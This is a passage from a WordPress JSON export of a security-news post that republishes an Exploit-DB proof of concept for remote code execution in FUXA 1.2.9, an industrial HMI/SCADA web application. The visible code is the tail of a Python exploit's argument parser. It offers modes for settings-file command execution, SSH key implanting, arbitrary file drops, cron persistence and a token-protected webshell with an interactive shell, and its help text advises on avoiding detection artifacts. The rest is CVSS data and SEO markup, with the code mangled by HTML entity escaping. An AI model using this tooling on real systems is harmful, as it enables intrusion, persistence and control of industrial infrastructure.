\\\\\\\\\\\\n\\&#8221;\\r\\n            \\&#8221;       &#8211;ws-port 31337 &#8211;interact\\\\n\\\\n\\&#8221;\\r\\n            \\&#8221;  # Same, but skip the canary write to minimize filesystem artifacts:\\\\n\\&#8221;\\r\\n            \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode webshell &#8211;no-canary \\\\\\\\\\\\n\\&#8221;\\r\\n            \\&#8221;       &#8211;appdata \/tmp\/FUXA-1.2.9\/server\/_appdata &#8211;ws-port 31337\\\\n\\\\n\\&#8221;\\r\\n            \\&#8221;  # Connect to an already-installed webshell (values printed by\\\\n\\&#8221;\\r\\n            \\&#8221;  # the previous invocation):\\\\n\\&#8221;\\r\\n            \\&#8221;  %(prog)s -u http:\/\/target:1881 &#8211;mode webshell-exec \\\\\\\\\\\\n\\&#8221;\\r\\n            \\&#8221;       &#8211;ws-host target &#8211;ws-port 31337 \\\\\\\\\\\\n\\&#8221;\\r\\n            \\&#8221;       &#8211;ws-path \/_abc123 &#8211;ws-token SECRET &#8211;interact\\\\n\\&#8221;\\r\\n        ),\\r\\n    )\\r\\n    p.add_argument(\\&#8221;-u\\&#8221;, \\&#8221;&#8211;url\\&#8221;, required=True,\\r\\n                   help=\\&#8221;FUXA base URL (e.g. http:\/\/10.10.185.14:1881)\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;mode\\&#8221;, default=\\&#8221;canary\\&#8221;,\\r\\n                   choices=[\\&#8221;recon\\&#8221;, \\&#8221;canary\\&#8221;, \\&#8221;settings-rce\\&#8221;, \\&#8221;ssh-key\\&#8221;,\\r\\n                            \\&#8221;drop\\&#8221;, \\&#8221;cron\\&#8221;, \\&#8221;webshell\\&#8221;, \\&#8221;webshell-exec\\&#8221;],\\r\\n                   help=\\&#8221;Exploit stage to run (default: canary)\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;canary\\&#8221;, default=None,\\r\\n                   help=\\&#8221;Override the canary write path (default: \\&#8221;\\r\\n                        \\&#8221;\/tmp\/healthcheck \u2014 deliberately bland; no CVE ID in \\&#8221;\\r\\n                        \\&#8221;the filename or content to avoid obvious IOCs).\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;canary-content\\&#8221;, default=None,\\r\\n                   help=\\&#8221;Path to a local file whose contents will be used as \\&#8221;\\r\\n                        \\&#8221;the canary body. Overrides the built-in &#8216;healthcheck \\&#8221;\\r\\n                        \\&#8221;ok\\\\\\\\n&#8217; default. Use when you specifically want a \\&#8221;\\r\\n                        \\&#8221;demo\/PoC marker file on the target.\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;no-canary\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\r\\n                   help=\\&#8221;Skip the proof-of-write canary and go straight to \\&#8221;\\r\\n                        \\&#8221;the mode-specific payload. Use when any extra \\&#8221;\\r\\n                        \\&#8221;filesystem artifact is undesirable. You lose the \\&#8221;\\r\\n                        \\&#8221;pre-flight diagnostic \u2014 if your main write fails, \\&#8221;\\r\\n                        \\&#8221;there&#8217;s no earlier signal to distinguish a patched \\&#8221;\\r\\n                        \\&#8221;server from a depth\/path misconfiguration.\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;depth\\&#8221;, type=int, default=10,\\r\\n                   help=\\&#8221;How many &#8216;..&#8217; hops to climb out of appDir \\&#8221;\\r\\n                        \\&#8221;(default: 10 \u2014 enough for any real install)\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;timeout\\&#8221;, type=int, default=15)\\r\\n    p.add_argument(\\&#8221;&#8211;insecure\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\r\\n                   help=\\&#8221;Skip TLS verification\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;proxy\\&#8221;, default=None,\\r\\n                   help=\\&#8221;HTTP\/S proxy (e.g. http:\/\/127.0.0.1:8080) \u2014 useful \\&#8221;\\r\\n                        \\&#8221;for Burp inspection\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;quiet\\&#8221;, action=\\&#8221;store_true\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;force\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\r\\n                   help=\\&#8221;Continue even if reachability or canary stages fail\\&#8221;)\\r\\n\\r\\n    # mode=recon\\r\\n    p.add_argument(\\&#8221;&#8211;probe-root\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\r\\n                   help=\\&#8221;Active probe: attempt a 0-byte write to \/root\/ to \\&#8221;\\r\\n                        \\&#8221;confirm whether FUXA is running as root. Leaves a \\&#8221;\\r\\n                        \\&#8221;small marker file; clean up once you have exec.\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;probe-home\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\r\\n                   help=\\&#8221;Active probe: iterate \/home\/\\u003cuser\\u003e\/ with 0-byte \\&#8221;\\r\\n                        \\&#8221;writes across a candidate list (or &#8211;home-wordlist) \\&#8221;\\r\\n                        \\&#8221;to infer the running user when paths don&#8217;t leak it \\&#8221;\\r\\n                        \\&#8221;and \/root is not writable. Home dirs are typically \\&#8221;\\r\\n                        \\&#8221;mode 0700, so a successful write strongly implies \\&#8221;\\r\\n                        \\&#8221;FUXA runs as that user. Leaves marker files per \\&#8221;\\r\\n                        \\&#8221;positive hit; clean up once you have exec.\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;home-wordlist\\&#8221;, default=None,\\r\\n                   help=\\&#8221;Path to a newline-separated file of usernames to \\&#8221;\\r\\n                        \\&#8221;probe under \/home\/\\u003cuser\\u003e\/ (overrides the built-in \\&#8221;\\r\\n                        \\&#8221;candidate list). &#8216;#&#8217; comments and blank lines \\&#8221;\\r\\n                        \\&#8221;ignored. Use when you have engagement-specific \\&#8221;\\r\\n                        \\&#8221;naming conventions to try.\\&#8221;)\\r\\n\\r\\n    # mode=settings-rce\\r\\n    p.add_argument(\\&#8221;&#8211;cmd\\&#8221;, default=None,\\r\\n                   help=\\&#8221;Shell command to embed in the replacement settings.js\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;appdata\\&#8221;, default=None,\\r\\n                   help=\\&#8221;Absolute path to FUXA&#8217;s _appdata directory\\&#8221;)\\r\\n\\r\\n    # mode=ssh-key\\r\\n    p.add_argument(\\&#8221;&#8211;pubkey\\&#8221;, default=None,\\r\\n                   help=\\&#8221;Path to public key file to append\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;home\\&#8221;, default=None,\\r\\n                   help=\\&#8221;Home directory of the FUXA service user\\&#8221;)\\r\\n\\r\\n    # mode=drop\\r\\n    p.add_argument(\\&#8221;&#8211;target\\&#8221;, default=None,\\r\\n                   help=\\&#8221;Absolute path to drop the file at (mode=drop)\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;payload-file\\&#8221;, default=None,\\r\\n                   help=\\&#8221;Local file whose contents will be uploaded (mode=drop)\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;file-type\\&#8221;, default=\\&#8221;bin\\&#8221;,\\r\\n                   choices=[\\&#8221;bin\\&#8221;, \\&#8221;svg\\&#8221;],\\r\\n                   help=\\&#8221;&#8216;bin&#8217; = base64-decoded write (any bytes); \\&#8221;\\r\\n                        \\&#8221;&#8216;svg&#8217; = raw text write, no decoding (default: bin)\\&#8221;)\\r\\n\\r\\n    # mode=cron\\r\\n    p.add_argument(\\&#8221;&#8211;cron-path\\&#8221;, default=\\&#8221;\/etc\/cron.d\/fuxa-health\\&#8221;,\\r\\n                   help=\\&#8221;Absolute path the cron file is written to. \\&#8221;\\r\\n                        \\&#8221;\/etc\/cron.d\/\\u003cname\\u003e is re-read every minute by cron \\&#8221;\\r\\n                        \\&#8221;when FUXA runs as root. For a non-root FUXA user, \\&#8221;\\r\\n                        \\&#8221;try \/var\/spool\/cron\/crontabs\/\\u003cuser\\u003e (Debian\/Vixie) \\&#8221;\\r\\n                        \\&#8221;or \/var\/spool\/cron\/\\u003cuser\\u003e (RHEL\/cronie) \u2014 note \\&#8221;\\r\\n                        \\&#8221;that those paths typically require mode 0600 \\&#8221;\\r\\n                        \\&#8221;which the write primitive cannot set. \\&#8221;\\r\\n                        \\&#8221;(default: \/etc\/cron.d\/fuxa-health)\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;cron-schedule\\&#8221;, default=\\&#8221;* * * * *\\&#8221;,\\r\\n                   help=\\&#8221;Cron schedule expression, five fields \\&#8221;\\r\\n                        \\&#8221;(default: &#8216;* * * * *&#8217; = every minute)\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;cron-user\\&#8221;, default=None,\\r\\n                   help=\\&#8221;User field for \/etc\/cron.d\/* and \/etc\/crontab \\&#8221;\\r\\n                        \\&#8221;(auto-inferred as &#8216;root&#8217; for those paths). \\&#8221;\\r\\n                        \\&#8221;Pass &#8221; (empty) to force omission for user-crontab \\&#8221;\\r\\n                        \\&#8221;format.\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;cron-cmd\\&#8221;, default=None,\\r\\n                   help=\\&#8221;Command cron will execute (required for mode=cron). \\&#8221;\\r\\n                        \\&#8221;Will be passed to \/bin\/sh via the cron line.\\&#8221;)\\r\\n\\r\\n    # mode=webshell + mode=webshell-exec\\r\\n    p.add_argument(\\&#8221;&#8211;ws-port\\&#8221;, type=int, default=31337,\\r\\n                   help=\\&#8221;TCP port the in-process webshell listener will bind \\&#8221;\\r\\n                        \\&#8221;on the target. Must be free, firewall-reachable \\&#8221;\\r\\n                        \\&#8221;from the operator, and distinct from FUXA&#8217;s UI \\&#8221;\\r\\n                        \\&#8221;port (default: 31337).\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;ws-path\\&#8221;, default=None,\\r\\n                   help=\\&#8221;URL path the webshell listens on. Anything else \\&#8221;\\r\\n                        \\&#8221;returns 404. Default: random 24-hex-char path \\&#8221;\\r\\n                        \\&#8221;printed after deployment.\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;ws-token\\&#8221;, default=None,\\r\\n                   help=\\&#8221;Auth token required on every request (X-Auth-Token \\&#8221;\\r\\n                        \\&#8221;header or ?t= query). Default: random 24-byte \\&#8221;\\r\\n                        \\&#8221;urlsafe token printed after deployment.\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;ws-host\\&#8221;, default=None,\\r\\n                   help=\\&#8221;Host to connect to for mode=webshell-exec \/ \\&#8221;\\r\\n                        \\&#8221;&#8211;interact. Defaults to the host portion of &#8211;url.\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;ws-tls\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\r\\n                   help=\\&#8221;Use https:\/\/ when talking to the webshell endpoint \\&#8221;\\r\\n                        \\&#8221;(the embedded listener is plain HTTP by default).\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;ws-cmd\\&#8221;, default=None,\\r\\n                   help=\\&#8221;Single command to execute via mode=webshell-exec \\&#8221;\\r\\n                        \\&#8221;(mutually exclusive with &#8211;interact).\\&#8221;)\\r\\n    p.add_argument(\\&#8221;&#8211;interact\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\r\\n                   help=\\&#8221;After deploying (mode=webshell) or connecting \\&#8221;\\r\\n                        \\&#8221;(mode=webshell-exec), enter an interactive REPL \\&#8221;\\r\\n                        \\&#8221;that ships commands to the in-process listener \\&#8221;\\r\\n                        \\&#8221;and prints stdout\/stderr.\\&#8221;)\\r\\n\\r\\n    return p.parse_args(argv)\\r\\n\\r\\n\\r\\ndef main(argv: Optional[list[str]] = None) -\\u003e int:\\r\\n    args = parse_args(argv if argv is not None else sys.argv[1:])\\r\\n    try:\\r\\n        return run(args)\\r\\n    except KeyboardInterrupt:\\r\\n        print(\\&#8221;\\\\n[!] Interrupted.\\&#8221;, flush=True)\\r\\n        return 130\\r\\n\\r\\n\\r\\nif __name__ == \\&#8221;__main__\\&#8221;:\\r\\n    raise SystemExit(main())&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/www.exploit-db.com\/raw\/52568&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.exploit-db.com\/exploits\/52568&#8243;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-21T13:27:56&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: FUXA 1.2.9 &#8211; RCE Date: 4\/24\/2026 Exploit Author: Anthony Cihan Hann1bl3L3ct3r Vendor Homepage: https:\/\/github.com\/frangoteam\/FUXA Version: Arbitrary File Write &#8211; RCE Affected: FUXA makes&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,40,13,7,11,5],"class_list":["post-56066","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>FUXA 1.2.9 - RCE_EDB-ID:52568 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=56066\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"FUXA 1.2.9 - RCE_EDB-ID:52568 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-21T13:27:56&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: FUXA 1.2.9 &#8211; RCE Date: 4\/24\/2026 Exploit Author: Anthony Cihan Hann1bl3L3ct3r Vendor Homepage: https:\/\/github.com\/frangoteam\/FUXA Version: Arbitrary File Write &#8211; RCE Affected: FUXA makes...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=56066\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-21T08:31:46+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"59 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56066#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56066\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"FUXA 1.2.9 &#8211; RCE_EDB-ID:52568\",\"datePublished\":\"2026-05-21T08:31:46+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56066\"},\"wordCount\":11758,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"exploitdb\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=56066#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56066\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56066\",\"name\":\"FUXA 1.2.9 - RCE_EDB-ID:52568 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-21T08:31:46+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56066#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=56066\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56066#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"FUXA 1.2.9 &#8211; RCE_EDB-ID:52568\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"FUXA 1.2.9 - RCE_EDB-ID:52568 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=56066","og_locale":"en_US","og_type":"article","og_title":"FUXA 1.2.9 - RCE_EDB-ID:52568 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-21T13:27:56&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: FUXA 1.2.9 &#8211; RCE Date: 4\/24\/2026 Exploit Author: Anthony Cihan Hann1bl3L3ct3r Vendor Homepage: https:\/\/github.com\/frangoteam\/FUXA Version: Arbitrary File Write &#8211; RCE Affected: FUXA makes...","og_url":"https:\/\/zero.redgem.net\/?p=56066","og_site_name":"zero redgem","article_published_time":"2026-05-21T08:31:46+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"59 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=56066#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=56066"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"FUXA 1.2.9 &#8211; RCE_EDB-ID:52568","datePublished":"2026-05-21T08:31:46+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=56066"},"wordCount":11758,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","exploitdb","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=56066#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=56066","url":"https:\/\/zero.redgem.net\/?p=56066","name":"FUXA 1.2.9 - RCE_EDB-ID:52568 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-21T08:31:46+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=56066#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=56066"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=56066#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"FUXA 1.2.9 &#8211; RCE_EDB-ID:52568"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/56066","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=56066"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/56066\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=56066"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=56066"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=56066"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}